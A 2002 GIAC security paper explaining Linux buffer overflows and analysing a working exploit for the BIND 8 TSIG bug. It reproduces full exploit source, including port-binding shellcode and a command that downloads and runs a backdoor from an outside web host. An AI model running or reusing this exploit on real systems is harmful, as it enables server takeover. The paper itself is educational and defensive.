Global Information Assurance Certification Paper

Buffer Overflow in Linux

Juan G. Lalinde-Pulido
April 5, 2002

Abstract

This paper will examine the anatomy of buffer overflow attacks in Linux systems. We will start by considering the definition and the technical issue: memory handling both in Linux and C/C++ languages. With this background, general considerations on buffer overflow exploits are presented, followed by the analysis of a read exploit code. After understanding this, we present some conclusions about how to write safe applications and how to protect your Linux box.

1. Introduction

Security vulnerabilities can be traced back to three main sources: design flaws, misconfiguration and programming errors. Buffer overflows are programming errors, and they are very common. Searching by keyword "buffer overflow" on security focus[2], returns 50 vulnerabilities reported from January 15 until April 1 2002. If the search is done at Common Vulnerabilities and Exposures (CVE) site [4], it reports that, from 1999 until April 2002, there were 799 reported vulnerabilities (entries and candidates) related to buffer overflow. Most of these buffer overflow vulnerabilities are found on windows platforms, but Linux is not immune. Searching CVE for buffer overflows on Linux returns 64 matches for the same 3 years period.

Buffer overflow being one of the most common vulnerabilities[18], it is important to understand exactly what it is and what we can do to avoid it. In this essay we will present the buffer overflow problem with some technical background for Linux systems, but the general idea of the buffer overflow can be applied to any system. In fact, one of the reasons for using open source OS, like Linux, is that little problems like buffer overflow can be fixed in minutes and you don't have to wait for a vendor's patch.

2. Buffer Overflow definition

The definition of Buffer Overflow, acording to NSA Glossary of Terms Used in Security and Intrusion Detection[1] is: "This happens when more data is put into a buffer or holding area than the buffer can handle. This is due to a mismatch in processing rates between the producing and consuming processes. This can result in system crashes or the creation of a back door leading to system access." Even though this definition goes further in defining what causes buffer overflows, this is not the way to produce a buffer overflow and certainly is a programming error.

A more detailed description of the problem can be found in [3]: "Computers tend to think in terms of two things--code and data. Code consists of the instructions for the computer, telling it what to do. Data is what it does it to and with. When you run a program, it loads into memory both the code and the data that code needs. When that program communicates with some other program, it is receiving data, and it will then use the code that it already has to figure out what

to do next. ... Modern computer architectures have an unfortunate design, however. They don't really know the difference between data and code. If somebody can convince your program to try running the data that it has in memory, it will do so quite happily."
Technically speaking, the buffer overflow occurs when the program has a buffer of limited size to store data, the amount of data exceeds that limit and the programmer "forgets" to check the situation. In this case, the data stored in the buffer exceeds the capacity and overwrites the adjacent locations. The whole issue about buffer overflow is if the adjacent memory overwritten is important or not. Due to the nature of the problem, it is intimately related to the programming language used. Only applications developed using programming languages that delegate memory handling to the programmer are vulnerable to buffer overflow. This does not means that applications developed with languages that automatically handle memory are not vulnerable. This means that in those cases, the problem is in the tool and not in the application's code.
Buffer overflow, as a programming error, usually results in bus error or segmentation violation errors, but a skilled hacker can use (abuse?) this error to force the application to do what he wants. Usually, it is used to create a back door so the hacker gains access to the system or to escalate privileges. It is a typical situation where a programming flaw can expose the security of the whole system. This is achieved by exploiting the fact that a computer can be instructed to execute data like code. For a buffer overflow attack to work there are two tasks the hacker must accomplish: inject code in the buffer and instruct the computer to execute it.
In order to understand the buffer overflow attacks, we must understand how the operating system handles memory, how do low level programming languages like assembler, C and C++ deal with memory and how this two elements, combined together can be used to break your security. Before digging more deeply into these issues, remember: since buffer overflow is a programming bug, your system may be vulnerable not only because of bugs in third party software but because of your own locally developed software. You can get advisories from CERT or your provider for the third party software. For your own software you must assure there are no buffer overflow errors that will risk your whole system.

3. Linux memory handling

The following information about Linux memory handling is taken basically from [5] and [6]. By combining this information with the "intentions" of a hacker, we will be able to understand why buffer overflow attacks are possible and how they work.
Linux, like any decent OS, prevents two processes exchanging data from having access to the other process' memory. It also handles virtual memory to allow processes whose memory requirements exceed the physical memory available. One of the key concepts of memory management in Linux is that it provides an architecture independent memory model. This model divides memory in pages. The size of a page is dependent on the architecture. Each process is run in a virtual address space that uses linear addresses. This virtual space address is divided in two spaces: kernel and user segment. Each space is divided in two

segments: code and data/stack segment. The kernel space is from 0xC000 0000 (3 GB) to 0xFFFF FFFF (4 GB) and the user space is from 0 (0 GB) to 0xBFFF FFFF (3 GB). Notice that these limits apply to 32 bits architectures and may change for 64 bits architectures.
Linux kernel space, shifted 3Gb down, corresponds to physical kernel space. This is not true for the applications. But from the programmer's perspective, this distribution guaranties that the user space assigned to the application always starts in zero (0) and has a maximum length of 3Gb, regardless of the simultaneous execution of other applications. From the security perspective, this implies that variables' addresses are always the same for variables that have whole-application life cycle (global, static, class attributes, etc.). For the variables with shorter life cycle (local, instance attributes, etc.), this means that, if the execution path for calling the portion of code that creates this variables is always the same, the variables' location will always be the same. This determinism in the address of the variables is the one that allows hackers to exploit buffer overflow errors.
To understand why buffer overflow attacks are possible, we must understand how memory is assigned to variables in applications. The segment code, as the name implies, holds the executable code for the application and the data/stack code holds the data. The role a variable plays in an application is defined by two characteristics: the life cycle (when it is created and when destroyed) and the visibility (which parts of the application have access to the variable). All variables that have application life cycle (are created when the application starts and exist as long as the application is active) are stored in the data portion of the data/stack segment. All other variables are stored in the stack portion of the data/stack segment. The stack is also used to store the parameters and return address when a function (method) is invoked. By combining the use of the stack with the fact that the stack grows backwards, it is easy to understand why the buffer overflow attacks are possible.
Let us suppose that a programmer forgot to check the size of the data received before attempting to store it in the buffer, and the buffer is declared as a local variable (whose life cycle is the same as the lifecycle of the function). Since the programmer is not checking for the buffer size, it is possible to overwrite adjacent memory by supplying appropriate data. A Buffer declared as a local variable means that the return address of the function is relatively close to the buffer. Finally, since the stack grows backwards, when the buffer overflow is forced, overwriting the adjacent memory implies the capability to overwrite the return address of the function. Now put it all together: The hacker can craft a custom "data" to send to the application that exploits the buffer overflow causing adjacent memory to be overwritten. This custom data includes the binary code to be executed (usually launching a shell) and the value that will override the return address so at the end of the function this fake return address, pointing to the code in the buffer, will be used and the hackers code will be executed. All this is possible because

a) the linear address for the variables (including locals and return address) is always the same and
b) b) the machine can interpret the data in the stack as code executing it.

4. Memory handling in C and C++

Section 3 provided a clear explanation of the relationship between memory handling and buffer overflows. Notice that buffer overflow attacks exist as a consequence of the virtual address space assigned to each process. Now, let us take a look of memory handling in C and C++. I select these two languages because they are the most commonly used languages for applications that need low level control and must be efficient, like operating systems, device drivers and security tools in general. In fact, they are the most commonly used languages that delegate memory handling to the programmer.

The official C history written by Dennis M. Ritchie states: "As should be clear from the history above, C evolved from typeless languages. It did not suddenly appear to its earliest users and developers as an entirely new language with its own rules; instead we continually had to adapt existing programs as the language developed, and make allowance for an existing body of code."[7]. This means the programming language was designed to provide portability while keeping control of the code generated, according to the state of the art at the time.

Again, according to Ritchie, "two ideas are most characteristic of C among languages of its class: the relationship between arrays and pointers, and the way in which declaration syntax mimics expression syntax. They are also among its most frequently criticized features, and often serve as stumbling blocks to the beginner. In both cases, historical accidents or mistakes have exacerbated their difficulty. The most important of these has been the tolerance of C compilers to errors in type."[7]. This puts the responsibility in the programmer's hands.

Arrays are easier to understand if we look at them from the object code perspective. Expressions like `a[n]` really mean take the base address represented by pointer `a`, add `n` times the size of `a`'s type and get the content of that address. In C `a[n]` is the same as `*(a+n)`. Since arrays are handled this way, there is no boundary check done by the run time environment. The programmer is responsible for checking it. Finally, a mistaken decision on the nature of the indirection operator, which is a prefix operator, makes nested expressions and declarations hard to understand[8]. Putting all this together, the programmer is not only responsible for boundary checking, but he/she also has to use a difficult to understand syntax while using dynamic memory.

An additional difficulty appears due to programming language design. It does not include the string type. It is represented as an array of characters and the end of the string is marked by the ASCII code 0, the null character. In order to standardize programs and guarantee portability, the strings library was developed and became part of the standard. Also, all input/output operations were included in the standard as libraries. The introduction of these libraries improved portability but introduced potential buffer overflow errors without programmer's knowledge.

The strings library is based on two assumptions: all parameters are valid strings and there is always enough memory for storing the results of the operation. If the parameters are not valid strings or there is not enough memory, the function will just ignore these conditions and you will notice the problem by its side

effects. Usually these are buffer overflows that generate bus error or segmentation fault. Again, these assumptions put the responsibility on the programmer's side. Furthermore, the input/output libraries trust the strings library, so a simple reading function like gets can generate a buffer overflow making your system vulnerable.
C++, as programming language, is based on C and inherits these problems. Fortunately, with the inclusion of templates and STL in the standard, the programmer now has a powerful way to handle containers without worrying about memory management. The most amazing thing is that using allocators the programmer still has a powerful way to define memory management strategies. C++ also includes improvements as references, constants and sophisticated casting, that give the programmer a way to specify the real semantic of the program.
On the negative side, being an object oriented language, C++ also defines new variables types like instance and method attributes. Since the language does not provide any support for garbage collection and memory handling, there are new things programmers must be aware of to avoid memory leaks and buffer overflows. Again, programmers are responsible for memory management. STL solves part of the problem: It is a library and the developer is responsible for checking boundary limits and memory problems.
We can conclude that C and C++ are excellent languages that provide the programmer with powerful mechanisms for software development. The drawback is that the programmer must have a deep knowledge about the language in order to avoid programming problems due to misconceptions.

5. General considerations on buffer overflow exploits

Buffer overflow attacks depend on two things: the lack of boundary testing and a machine that can execute code that resides in the data/stack segment. The lack of boundary is very common and usually the program ends with segmentation fault or bus error. In order to exploit buffer overflow to gain access or escalate privileges the offender must create the data to be fed to the application. Random data will generate a segmentation fault or bus error, never a remote shell or the execution of a command.
Why are buffer overflows important? If the offender uses a buffer overflow to execute arbitrary commands on a machine, those commands are executing with the same privileges the application has. If the buffer overflow is located in the input/output routines of a daemon, the offender can use telnet to establish connection and then send the data. Let us suppose the owner of the process is root and the exploit executes a shell. In this case the shell inherits the privileges of the original process, which means it becomes a root shell. Also, the process executed this way inherits file descriptors, which means that the offender obtains a remote shell with root privileges.
The most difficult part of the buffer overflow attack is ensuring the data that overwrites the return address in the stack really points to the memory address where the arbitrary code resides. This can be done, at least in Linux, because the system assigns a virtual memory space to each process and the addresses assigned to the application are always the same no matter what the machine is doing.

There are two interesting ways to detect buffer overflows. The fist one is looking at the source code. In this case, the hacker can look for strings declared as local variables in functions or methods and verify the presence of boundary checks. It is also necessary to check for improper use of standard functions, especially those related to strings and input/output. The best way to do this is by using tools to automate the process. The second way is by feeding the application with huge amounts of data and check for abnormal behavior. As usual, if hackers can detect buffer overflows this way, we also can too. Furthermore, if we develop software, this type of testing must be included in quality checks.

6. Analysis of a buffer overflow exploit

In order to understand how buffer overflow exploits work in real life, let us analyze the following exploit for TSIG bug in bind versions previous to 8.2.5[9]. The key name for this vulnerability is in the Common Vulnerabilities and Exposures[10] database is CVE-2001-0010. In order to guess the stack offset, this code also exploits the vulnerability "infoleak" which exposes environmental variables by allowing the stack to be read when receiving an inverse query with a specific length[11].

This first section includes all headers needed to send packages through the network.

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define max(a,b) ((a)>(b)?(a):(b))

#define BUFFSIZE 4096

int argevdisp1, argevdisp2;
```

Next is the actual data to be sent to the target. It is a char array that actually contains code. This string will be fed to the target application, in this case bind 8.x, and, if vulnerable, the target will be forced to execute it. It is common to see lots of 0x90 in these buffers because this is the code for the NOP instruction. It is used frequently as filler and can be used as a triggering pattern for intrusion detection systems, but this example shows that this is not always the case; it only appears once at the end of code. The assembler code creates a socket, binds it to a port and puts it in listen mode to accept incoming connections. The program then tries to connect to this port. If bind is vulnerable, the target

machine accepts the connection and then redefines standard input and output to be this connection. Finally, it allows the hacker to access the system by executing `sh`. The standard input and output are redefined to guarantee that using `execve, /bin/sh` will overlap the original application and will have the standard input and output connected to the socket giving the hacker a remote shell.

```
char shellcode[] =
/* The numbers at the right indicate the number of bytes the call takes
 * and the number of bytes used so far.  This needs to be lower than
 * 62 in order to fit in a single Query Record.  2 are used in total to
 * send the shell code
 */
/* main: */
/* "callz" is more than 127 bytes away, so we jump to an intermediate
   spot first */
"\xeb\x44"              /* jmp intr                */ // 2 - 2
/* start: */
"\x5e"                  /* popl %esi               */ // 1 - 3

  /* socket() */
"\x29\xc0"              /* subl %eax, %eax         */ // 2 - 5
"\x89\x46\x10"          /* movl %eax, 0x10(%esi)   */ // 3 - 8
"\x40"                  /* incl %eax               */ // 1 - 9
"\x89\xc3"              /* movl %eax, %ebx         */ // 2 - 11
"\x89\x46\x0c"          /* movl %eax, 0x0c(%esi)   */ // 3 - 14
"\x40"                  /* incl %eax               */ // 1 - 15
"\x89\x46\x08"          /* movl %eax, 0x08(%esi)   */ // 3 - 18
"\x8d\x4e\x08"          /* leal 0x08(%esi), %ecx   */ // 3 - 21
"\xb0\x66"              /* movb $0x66, %al         */ // 2 - 23
"\xcd\x80"              /* int $0x80               */ // 2 - 25

  /* bind() */
"\x43"                  /* incl %ebx               */ // 1 - 26
"\xc6\x46\x10\x10"      /* movb $0x10, 0x10(%esi)  */ // 4 - 30
"\x66\x89\x5e\x14"      /* movw %bx, 0x14(%esi)    */ // 4 - 34
"\x88\x46\x08"          /* movb %al, 0x08(%esi)    */ // 3 - 37
"\x29\xc0"              /* subl %eax, %eax         */ // 2 - 39
"\x89\xc2"              /* movl %eax, %edx         */ // 2 - 41
"\x89\x46\x18"          /* movl %eax, 0x18(%esi)   */ // 3 - 44
/*
 * the port address in hex (0x9000 = 36864), if this is changed, then a similar
 * change must be made in the connection() call
 * NOTE: you only get to set the high byte
 */
"\xb0\x90"              /* movb $0x90, %al         */ // 2 - 46
"\x66\x89\x46\x16"      /* movw %ax, 0x16(%esi)    */ // 4 - 50
"\x8d\x4e\x14"          /* leal 0x14(%esi), %ecx   */ // 3 - 53
"\x89\x4e\x0c"          /* movl %ecx, 0x0c(%esi)   */ // 3 - 56
"\x8d\x4e\x08"          /* leal 0x08(%esi), %ecx   */ // 3 - 59

"\xeb\x02"              /* jmp cont                */ // 2 - 2
/* intr: */
"\xeb\x43"              /* jmp callz               */ // 2 - 4

/* cont: */
"\xb0\x66"              /* movb $0x66, %al         */ // 2 - 6
"\xcd\x80"              /* int $0x80               */ // 2 - 10

  /* listen() */
"\x89\x5e\x0c"          /* movl %ebx, 0x0c(%esi)   */ // 3 - 11
"\x43"                  /* incl %ebx               */ // 1 - 12
```

```
"\x43"                  /* incl %ebx               */ // 1 - 13
"\xb0\x66"              /* movb $0x66, %al         */ // 2 - 15
"\xcd\x80"              /* int $0x80               */ // 2 - 17

  /* accept() */
"\x89\x56\x0c"          /* movl %edx, 0x0c(%esi)   */ // 3 - 20
"\x89\x56\x10"          /* movl %edx, 0x10(%esi)   */ // 3 - 23
"\xb0\x66"              /* movb $0x66, %al         */ // 2 - 25
"\x43"                  /* incl %ebx               */ // 1 - 26
"\xcd\x80"              /* int $0x80               */ // 1 - 27

  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3"              /* xchgb %al, %bl          */ // 2 - 29
"\xb0\x3f"              /* movb $0x3f, %al         */ // 2 - 31
"\x29\xc9"              /* subl %ecx, %ecx         */ // 2 - 33
"\xcd\x80"              /* int $0x80               */ // 2 - 35
"\xb0\x3f"              /* movb $0x3f, %al         */ // 2 - 37
"\x41"                  /* incl %ecx               */ // 1 - 38
"\xcd\x80"              /* int $0x80               */ // 2 - 40
"\xb0\x3f"              /* movb $0x3f, %al         */ // 2 - 42
"\x41"                  /* incl %ecx               */ // 1 - 43
"\xcd\x80"              /* int $0x80               */ // 2 - 45

  /* execve() */
"\x88\x56\x07"          /* movb %dl, 0x07(%esi)    */ // 3 - 48
"\x89\x76\x0c"          /* movl %esi, 0x0c(%esi)   */ // 3 - 51
"\x87\xf3"              /* xchgl %esi, %ebx        */ // 2 - 53
"\x8d\x4b\x0c"          /* leal 0x0c(%ebx), %ecx   */ // 3 - 56
"\xb0\x0b"              /* movb $0x0b, %al         */ // 2 - 58
"\xcd\x80"              /* int $0x80               */ // 2 - 60

"\x90"

/* callz: */
"\xe8\x72\xff\xff\xff"  /* call start              */ // 5 - 5
"/bin/sh"; /* There's a NUL at the end here */        // 8 - 13
```

The next instructions resolve the host name, allowing the target to be specified by name or IP address.

```
unsigned long resolve_host(char* host)
{
       long res;
       struct hostent* he;

       if (0 > (res = inet_addr(host)))
       {
              if (!(he = gethostbyname(host)))
                     return(0);
              res = *(unsigned long*)he->h_addr;
       }
       return(res);
}
```

This function dumps the content of the buffer in hexadecimal to standard output, maybe for debugging purposes.

```
int dumpbuf(char *buff, int len)
{
       char line[17];
       int x;
```

```
        /* print out a pretty hex dump */
        for(x=0;x<len;x++){
                if(!(x%16) && x){
                        line[16] = 0;
                        printf("\t%s\n", line);
                }
                printf("%02X ", (unsigned char)buff[x]);
                if(isprint((unsigned char)buff[x]))
                        line[x%16]=buff[x];
                else
                        line[x%16]='.';
        }
        printf("\n");
}
```

After successfully establishing the connection, this function is used to create a back door by downloading and executing software from a web server. It allows the attacker to use an interactive shell also.

```
void
runshell(int sockd)
{
    char buff[1024];
    int fmax, ret;
    fd_set fds;

    fmax = max(fileno(stdin), sockd) + 1;
    send(sockd, "uname -a; id; wget takiweb.com/~xlogic/xl.tgz; tar zxvf"
              " xl.tgz; cd xl; ./statz;\n", 15, 0);

    for(;;)
    {

        FD_ZERO(&fds);
        FD_SET(fileno(stdin), &fds);
        FD_SET(sockd, &fds);

        if(select(fmax, &fds, NULL, NULL, NULL) < 0)
        {
            exit(EXIT_FAILURE);
        }

        if(FD_ISSET(sockd, &fds))
        {
            bzero(buff, sizeof buff);
            if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
            {
                exit(EXIT_FAILURE);
            }
            if(!ret)
            {
                fprintf(stderr, "Connection closed\n");
                exit(EXIT_FAILURE);
            }
            write(fileno(stdout), buff, ret);
        }

        if(FD_ISSET(fileno(stdin), &fds))
        {
            bzero(buff, sizeof buff);
            ret = read(fileno(stdin), buff, sizeof buff);
            if(send(sockd, buff, ret, 0) != ret)
            {
```

```
                fprintf(stderr, "Transmission loss\n");
                exit(EXIT_FAILURE);
            }
        }
    }
}
```

After the first query succeeds in revealing the offset of the stack, a connection is attempted. If successful, the `runshell` function is used for creating backdoors and taking control of the machine. The port number used here must be the same as the port used in the exploit code for the buffer overflow.

```
connection(struct sockaddr_in host)
{
       int sockd;

       host.sin_port = htons(36864);

       printf("[*] connecting..\n");
       usleep(2000);

       if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
       {
              exit(EXIT_FAILURE);
       }

       if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
       {
              printf("[*] wait for your shell..\n");
              usleep(500);
               runshell(sockd);
       }
       else
       {
              printf("[x] error: named not vulnerable or wrong offsets used\n");
       }

       close(sockd);
}
```

This function will create the DNS query that will be used to check if `bind` is running and vulnerable. This query has an "evil size" to obtain the stack offset. That is the reason for the name of the function. In order to be able to read the stack, the offender sends a message that is valid but has a wrong size. When `bind` receives a query, the response package is constructed using the same buffer[23]. By doing this, memory copy is avoided and performance is increased. The problem with trusting the size in the received package is, if it is wrong, the response package will contain not only the answer to the query but data from the stack.

```
int infoleak_qry(char* buff)
{
        HEADER* hdr;
        int n, k;
        char* ptr;
        int qry_space = 12;
        int dummy_names = 7;
        int evil_size = 0xff;
```

```
         memset(buff, 0, BUFFSIZE);
         hdr = (HEADER*)buff;

         hdr->id = htons(0xbeef);
         hdr->opcode  = IQUERY;
         hdr->rd      = 1;
         hdr->ra      = 1;
         hdr->qdcount = htons(0);
         hdr->nscount = htons(0);
         hdr->ancount = htons(1);
         hdr->arcount = htons(0);


       ptr = buff + sizeof(HEADER);
       printf("[d] HEADER is %d long\n", sizeof(HEADER));

       n = 62;

       for(k=0; k < dummy_names; k++)
       {
              *ptr++ = n;
              ptr += n;
       }
       ptr += 1;

         PUTSHORT(1/*ns_t_a*/, ptr);              /* type */
         PUTSHORT(T_A, ptr);                      /* class */
         PUTLONG(1, ptr);                        /* ttl */

       PUTSHORT(evil_size, ptr);                 /* our *evil* size */

       return(ptr - buff + qry_space);

}
```

This code is responsible for building the TSIG query and exploiting the buffer overflow. It creates a bogus query with the injected shell code. It also uses the stack offset in order to overwrite the return address and exploit the buffer overflow. The value to be used is computed using the parameter offset and the position of the exploit code in the package.

```
int evil_query(char* buff, int offset)
{
       int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
       HEADER* hdr;
       char *ptr;
       int k, bufflen;
       u_int n, m;
       u_short s;
       int i;
       int shelloff, shellstarted, shelldone;
       int towrite, ourpack;
       int n_dummy_rrs = 7;

       printf("[d] evil_query(buff, %08x)\n", offset);
       printf("[d] shellcode is %d long\n", sizeof(shellcode));

       shelladdr = offset - 0x200;

        lameaddr  = shelladdr + 0x300;

       ourpack = offset - 0x250 + 2;
```

```
towrite = (offset & ~0xff) - ourpack - 6;
printf("[d] olb = %d\n", (unsigned char) (offset & 0xff));

rroffsetidx = towrite / 70;
offset0 = towrite - rroffsetidx * 70;

if ((offset0 > 52) || (rroffsetidx > 6))
{
       printf("[x] could not write our data in buffer"
              "(offset0=%d, rroffsetidx=%d)\n", offset0, rroffsetidx);
       return(-1);
}

rrshellidx = 1;
deplshellcode = 2;

hdr = (HEADER*)buff;

memset(buff, 0, BUFFSIZE);

/* complete the header */

hdr->id = htons(0xdead);
hdr->opcode  = QUERY;
hdr->rd      = 1;
hdr->ra      = 1;
hdr->qdcount = htons(n_dummy_rrs);
hdr->ancount = htons(0);
hdr->arcount = htons(1);

ptr = buff + sizeof(HEADER);

shellstarted = 0;
shelldone = 0;
shelloff = 0;

n = 63;
for (k = 0; k < n_dummy_rrs; k++)
{
       *ptr++ = (char)n;

       for(i = 0; i < n-2; i++)
       {
              if((k == rrshellidx) && (i == deplshellcode)
                     && !shellstarted)
              {
                     printf("[*] injecting shellcode at %d\n", k);
                     shellstarted = 1;
              }

              if ((k == rroffsetidx) && (i == offset0))
              {
                     *ptr++ = lameaddr & 0x000000ff;
                     *ptr++ = (lameaddr & 0x0000ff00) >> 8;
                     *ptr++ = (lameaddr & 0x00ff0000) >> 16;
                     *ptr++ = (lameaddr & 0xff000000) >> 24;
                     *ptr++ = shelladdr & 0x000000ff;
                     *ptr++ = (shelladdr & 0x0000ff00) >> 8;
                     *ptr++ = (shelladdr & 0x00ff0000) >> 16;
                     *ptr++ = (shelladdr & 0xff000000) >> 24;
                     *ptr++ = argevdisp1 & 0x000000ff;
                     *ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
                     *ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
                     *ptr++ = (argevdisp1 & 0xff000000) >> 24;
```

```
                        *ptr++ = argevdisp2 & 0x000000ff;
                        *ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
                        *ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
                        *ptr++ = (argevdisp2 & 0xff000000) >> 24;
                        i += 15;
                }
                else
                {
                        if (shellstarted && !shelldone)
                        {
                                *ptr++ = shellcode[shelloff++];
                                if(shelloff == (sizeof(shellcode)))
                                        shelldone=1;
                        }
                        else
                        {
                                *ptr++ = i;
                        }
                }
        }

        /* OK: this next set of bytes constitutes the end of the
            *     NAME field, the QTYPE field, and the QCLASS field.
            *     We have to have the shellcode skip over these bytes,
            *     as well as the leading 0x3f (63) byte for the next
            *     NAME field.  We do that by putting a jmp instruction
            *     here.
            */
        *ptr++ = 0xeb;

        if (k == 0)
        {
                *ptr++ = 10;

                /* For alignment reasons, we need to stick an extra
                     * NAME segment in here, of length 3 (2 + header).
                     */
                m = 2;
                *ptr++ = (char)m;        // header
                ptr += 2;
        }
        else
        {
                *ptr++ = 0x07;
        }

        /* End the NAME with a compressed pointer.  Note that it's
            * not clear that the value used, C0 00, is legal (it
            * points to the beginning of the packet), but BIND apparently
            * treats such things as name terminators, anyway.
            */
        *ptr++ = 0xc0; /*NS_CMPRSFLGS*/
        *ptr++ = 0x00; /*NS_CMPRSFLGS*/

        ptr += 4;      /* QTYPE, QCLASS */
}

/* Now we make the TSIG AR */
*ptr++ = 0x00;       /* Empty name */

PUTSHORT(0xfa, ptr); /* Type  TSIG */
PUTSHORT(0xff, ptr); /* Class ANY  */

bufflen = ptr - buff;
```

```
        // dumpbuf(buff, bufflen);

        return(bufflen);
}
```

This is the code that analyzes the answer to the first query sent (infoleak exploit) in order to get the stack offset.

```
long xtract_offset(char* buff, int len)
{
        long ret;

        /* Here be dragons. */
        /* (But seriously, the values here depend on compilation options
           *  used for BIND.
           */
        ret = *((long*)&buff[0x214]);
        argevdisp1 = 0x080d7cd0;
        argevdisp2 = *((long*)&buff[0x264]);
        printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n",
                argevdisp1, argevdisp2);

        // dumpbuf(buff, len);

        return(ret);
}
```

This is the main program. The exploit must be run with one parameter: the target host.

```
int main(int argc, char* argv[])
{
        struct sockaddr_in sa;
        int sock;
        long address;
        char buff[BUFFSIZE];
        int len, i;
        long offset;
        socklen_t reclen;
        unsigned char foo[4];

        address = 0;
        if (argc < 2)
        {
                printf("[*] usage : %s host\n", argv[0]);

                return(-1);
        }
```

With a target specified, it tries to get the IP address. If unable to resolve it, prints an error message, suggests using IP address and quit.

```
        if (!(address = resolve_host(argv[1])))
        {
                printf("[x] unable to resolve %s, try using an IP address\n",
                        argv[1]);
                return(-1);
        } else {
                memcpy(foo, &address, 4);
                printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0],
```

```
                foo[1], foo[2], foo[3]);
}
```

Create an UDP socket to send the code to a potentially vulnerable server.

```
sa.sin_family = AF_INET;

if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
{
       return(-1);
}

sa.sin_family = AF_INET;
sa.sin_port = htons(53);
sa.sin_addr.s_addr= address;
```

Send the first query to bind and wait for answer. If successful, there is information about the stack offset in the reply.

```
len = infoleak_qry(buff);
printf("[d] infoleak_qry was %d long\n", len);
len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
if (len < 0)
{
       printf("[*] unable to send iquery\n");
       return(-1);
}

reclen = sizeof(sa);
len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
if (len < 0)
{
         printf("[x] unable to receive iquery answer\n");
         return(-1);
}
printf("[*] iquery resp len = %d\n", len);
```

Use the information in the reply to extract the stack offset.

```
offset = xtract_offset(buff, len);
printf("[*] retrieved stack offset = %x\n", offset);
```

Now create the query with the buffer overflow exploit and send it. This is the package that has the assembler code used to gain access.

```
len = evil_query(buff, offset);
if(len < 0){
       printf("[x] error sending tsig packet\n");
       return(0);
}

sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));

if (0 > close(sock))
{
       return(-1);
}
```

If sending was successful, try to establish a connection to the target host to gain access.

```
        connection(sa);

        return(0);
}
```

This exploit works as expected because of the buffer overflow vulnerability in Bind. This example was selected to show that all the information needed to exploit a buffer overflow vulnerability, in order to gain access to the system or to escalate privileges, are the stack offset and buffer position. In many cases, the stack offset is fixed due to memory handling on Linux. There are few exceptions, like this one where the flaw is so huge that the attacker can get the offset by sending a bogus package.

7. How to write safe applications

Now that we know what a buffer overflow is, how it is related to the OS (Linux in this case) and how it works, it is time to think about software development. Keep in mind that buffer overflow can occur in your own applications. This means that in order to improve your security you must have standards and processes for quality assurance. One good recommendation is to use SSE-CMM (Secure Systems Engineer Capacity Maturity Model) as reference[12]. From the programming language perspective, the programmer's knowledge is central. One of the main differences between Java and C++ is the responsibility the programmer has. "Java technology was created as a programming tool in a small, closed-door project initiated by Patrick Naughton, Mike Sheridan, and James Gosling of Sun in 1991. But creating a new language wasn't even the point of *the Green Project*."[13] In fact, the objective of the green project was to experiment with what they think will be the new wave of technology: the integration between digital controlled consumer devices and computers[14]. We are comparing C++ with Java because patching embedded systems is more expensive than patching computer applications. To avoid this, Java designers take a subset of C++, eliminating the powerful capabilities that can make programming a tough experience for non experts: memory handling, multiple inheritance, pointers, etc. When developing software using C or C++, the programmer must pay special attention to memory handling, pointers and strings. Some general recommendations are:

- Know the programming language. Use this knowledge to define what the language provides and what your responsibility is.
- When possible, avoid declaring buffers as local variables.
- Always do boundary checking.
- Whenever possible, use trusted libraries, like STL, to handle containers.
- Always check parameters before using a function and check the result.
- Subscribe to news groups oriented to the programming language you are using.
- Before using libraries, check how safe they are.
- Whenever possible, use automated tools for automated error prevention, like C++test, Insure++, CodeWizard[15] or Purify[16].

8. How to avoid buffer overflow vulnerabilities in Linux

Complete security is a utopia, but there are a few things that can be done to diminish the risk. The first thing is to adopt the general accepted practices for protecting your Linux box. This includes perimeter protection to block illegal traffic like ipchains and iptables, installing an intrusion detection system, like snort[18], installing tripwire, using tcpwrappers, installing the latest patches, etc. It is important also to "attack" your system on regular basis in order to discover any vulnerability before it is exploted. For this task you can use tools like nessus [20] or the CIS Level-1 Benchmark and scoring tool for Linux[21]. You must also monitor security news groups and web sites like http://www.sans.org, http://www.incidents.org, http://www.securityfocus.com, etc. One great tool for been up to date on security news is the Sans News Browser Service[22].
One final comment: If tighter security is needed, you can buy tools like stack guard and port guard[17]. Stack guard is a modification to the C compiler to include code automatically to verify if the stack is compromised by an overflow. Port guardian is a special version of glibc that verifies parameter format for critical functions. These two commercial tools are dedicated specifically dedicated to the problem of buffer overflow in Linux.

9. References

[1] http://www.sans.org/newlook/resources/glossary.htm
[2] http://online.securityfocus.com/cgi-bin/vulns.pl
[3] http://commons.somewhere.com/buzz/2000/Definition.Buffer.Overfl.html
[4] http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow
[5] Beck, M. et al. Linux Kernel Internals, second edition. Adisson-Wesley,1998. Pp. 70-108
[6] http://bertolinux.fatamorgana.com/kernel/english/KernelWorking-HOWTO-6.html
[7] Dennis M. Ritchie. "The Development of the C Language". http://www.cs.bell-labs.com/who/dmr/chist.html
[8] R. Sethi, `Uniform syntax for type expressions and declarators,' Softw. Prac. and Exp. 11 (6), June 1981, pp. 623-628, cited in [7]
[9] http://www.kb.cert.org/vuls/id/JPLA-4T7VZQ
[10] http://cve.mitre.org
[11] http://www.kb.cert.org/vuls/id/JPLA-4SN3B5
[12] http://www.sse-cmm.org
